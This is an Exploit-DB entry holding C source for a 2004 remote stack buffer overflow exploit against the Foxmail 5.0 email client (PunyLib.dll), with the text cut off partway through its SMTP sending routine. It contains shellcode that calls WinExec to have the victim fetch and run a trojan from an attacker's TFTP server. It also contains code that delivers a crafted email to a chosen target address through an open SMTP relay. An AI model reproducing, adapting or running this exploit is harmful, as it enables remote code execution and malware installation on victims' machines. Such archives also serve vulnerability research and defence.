Exploit-DB #164
Description: Foxmail 5.0 - 'PunyLib.dll' Remote Stack Overflow
Type: remote
Platform: windows
Date: 2004-03-23
Author: xfocus

Exploit:
/* fmx.c - x86/win32 Foxmail 5.0 PunyLib.dll remote stack buffer overflow exploit
*
* (C) COPYRIGHT XFOCUS Security Team, 2004
* All Rights Reserved
* -----------------------------------------------------------------------
* Author   : xfocus <webmaster@xfocus.org>
*          : http://www.xfocus.org
* Maintain : XFOCUS Security Team <security@xfocus.org>
* Version  : 0.2
*
* Test     : Windows 2000 server GB/XP professional
*                + Foxmail 5.0.300.0
* Notes    : unpublished vul.
* Greets   : all member of XFOCUS Security Team.
* Complie  : cl fmx.c
* Usage    : fmx <mail_addr> <tftp_server> <smtp_server>
*             mail_addr: email address we wantto hack
*             tftp_server: run a tftp server and have a a.exe trojan
*             smtp_server: SMTP server don't need login, we send the email thru it
*
* Date     : 2004-02-27
* Revised  : 2004-03-05
*
* Revise History:
* 2003-03-05  call WinExec() addr of Foxmail.exe module to run tftp for down&execute
*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

#pragma comment (lib,"ws2_32")

//mail body, it's based on a real spam email, heh
unsigned char packet[] =
"From: %s\r\n" //buffer to overrun
"Subject: Hi,man\r\n"
"MIME-Version: 1.0\r\n"
"Content-Type: multipart/mixed; boundary=\"87122827\"\r\n"
"\r\n"
"\r\n"
"--87122827\r\n"
"Content-Type: text/plain; charset=us-ascii\r\n"
"Content-Transfer-Encoding: 7bit\r\n"
"\r\n"
"T\r\n"
"\r\n"
"--87122827\r\n"
"Content-Disposition: attachment\r\n"
"Content-Type: Text/HTML;\r\n"
"  name=\"girl.htm\"\r\n"
"Content-Transfer-Encoding: 7bit\r\n"
"\r\n"
"<html></html>\r\n"
"--87122827--\r\n"
"\r\n"
".\r\n";

//tiny shellcode to run WinExec() address in Foxmail.exe module(foxmail 5.0.300)
unsigned char winexec[] =
"\x83\xec\x50\xeb\x0c\xb9\x41\x10\xd3\x5d\xc1\xe9\x08\xff\x11\xeb\x08\x33\xdb\x53\xe8\xec\xff\xff\xff";

//tiny shellcode to run WinExec() address in Foxmail.exe module(foxmail 5.0.210 BETA2)
unsigned char winexec2[] =
"\x83\xec\x50\xeb\x0c\xb9\x41\x10\xa3\x5d\xc1\xe9\x08\xff\x11\xeb\x08\x33\xdb\x53\xe8\xec\xff\xff\xff";

#define SMTPPORT 25
int  Make_Connection(char *address,int port,int timeout);
int  SendXMail(char *mailaddr, char *tftp, char *smtpserver, char *shellcode);

int main(int argc, char * argv[])
{
    WSADATA WSAData;
    char *mailaddr = NULL;
    char *tftp = NULL;
    char *smtpserver = NULL;

    if(argc!=4)
    {
        printf("Usage: %s <mail_addr> <tftp_server> <smtp_server>\ne.g.:%s eeye@hack.com 202.2.3.4 219.3.2.1\n", argv[0], argv[0]);
        return 1;
    }
    mailaddr=argv[1];
    tftp=argv[2];
    smtpserver=argv[3];

    if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)
    {
        printf("WSAStartup failed.\n");
        WSACleanup();
        exit(1);
    }
    
    //WinExec() address
    SendXMail(mailaddr, tftp, smtpserver, winexec);  //WinExec() address in Foxmail.exe module(foxmail 5.0.300)
    SendXMail(mailaddr, tftp, smtpserver, winexec2);  //WinExec() address in Foxmail.exe module(foxmail 5.0.210 BETA2)

    WSACleanup();

    return 0;
}

//  ½¨Á¢TCPÁ¬½Ó
//  ÊäÈë:
//       char * address  IPµØÖ·
//       int  port       ¶Ë¿Ú
//       int  timeout    ÑÓÊ±
//  Êä³ö:
//  ·µ»Ø:
//       ³É¹¦ >0
//       ´íÎó <=0    

int Make_Connection(char *address,int port,int timeout)
{
    struct sockaddr_in target;
    SOCKET s;
    int i;
    DWORD bf;
    fd_set wd;
    struct timeval tv;

    s = socket(AF_INET,SOCK_STREAM,0);
    if(s<0)
        return -1;

    target.sin_family = AF_INET;
    target.sin_addr.s_addr = inet_addr(address);
    if(target.sin_addr.s_addr==0)
    {
        closesocket(s);
        return -2;
    }
    target.sin_port = htons(port);
    bf = 1;
    ioctlsocket(s,FIONBIO,&bf);
    tv.tv_sec = timeout;
    tv.tv_usec = 0;
    FD_ZERO(&wd);
    FD_SET(s,&wd);
    connect(s,(struct sockaddr *)&target,sizeof(target));
    if((i=select(s+1,0,&wd,0,&tv))==(-1))
    {
        closesocket(s);
        return -3;
    }
    if(i==0)
    {
        closesocket(s);
        return -4;
    }
    i = sizeof(int);
    getsockopt(s,SOL_SOCKET,SO_ERROR,(char *)&bf,&i);
    if((bf!=0)||(i!=sizeof(int)))
    {
        closesocket(s);
        return -5;
    }
    ioctlsocket(s,FIONBIO,&bf);
    return s;
}

//send magic mail
int  SendXMail(    char *mailaddr, char *tftp, char *smtpserver, char *shellcode)
{
    SOCKET  csock;
    int     ret,i=0;
    char buf[510], sbuf[0x10000], tmp[500], tmp1[500];
    csock = Make_Connection(smtpserver, SMTPPORT, 10);
    if(csock<0)
    {
        printf("connect err.\n");
        exit(1);
    }

    memset(buf, 0, sizeof(buf));
    ret=recv(csock, buf, 4096, 0);
    if(ret<=0)
    {
        printf("recv err.\n");
        exit(1);
    }
    printf(buf);

    ret=send(csock, "HELO server\r\n",strlen("HELO server\r\n"), 0);
    if(ret<=0)
    {
        printf("send err.\n");
        exit(1);
    }
    memset(buf, 0, sizeof(buf));
    ret=recv(csock, buf, 4096, 0);
    if(ret<=0)
    {
        printf("recv err.\n");
        exit(1);
    }
    printf(buf);

    ret=send(csock, "MAIL FROM: info@sina.com\r\n",strlen("MAIL FROM: info@sina.com\r\n"), 0);
    if(ret<=0)
    {
        printf("send err.\n");
        exit(1);
    }
    memset(buf, 0, sizeof(buf));
    ret=recv(csock, buf, 4096, 0);
    if(ret<=0)
    {
        printf("recv err.\n");
        exit(1);
    }
    printf(buf);
    
    sprintf(tmp, "RCPT TO: %s\r\n", mailaddr);
    ret=send(csock, tmp,strlen(tmp), 0);
    if(ret<=0)
    {
        printf("send err.\n");
        exit(1);
    }
    memset(buf, 0, sizeof(buf));
    ret=recv(csock, buf, 4096, 0);
    if(ret<=0)
    {
        printf("recv err.\n");
        exit(1);
    }
    printf(buf);
    Sleep(1000);
    
    ret=send(csock, "DATA\r\n",strlen("DATA\r\n"), 0);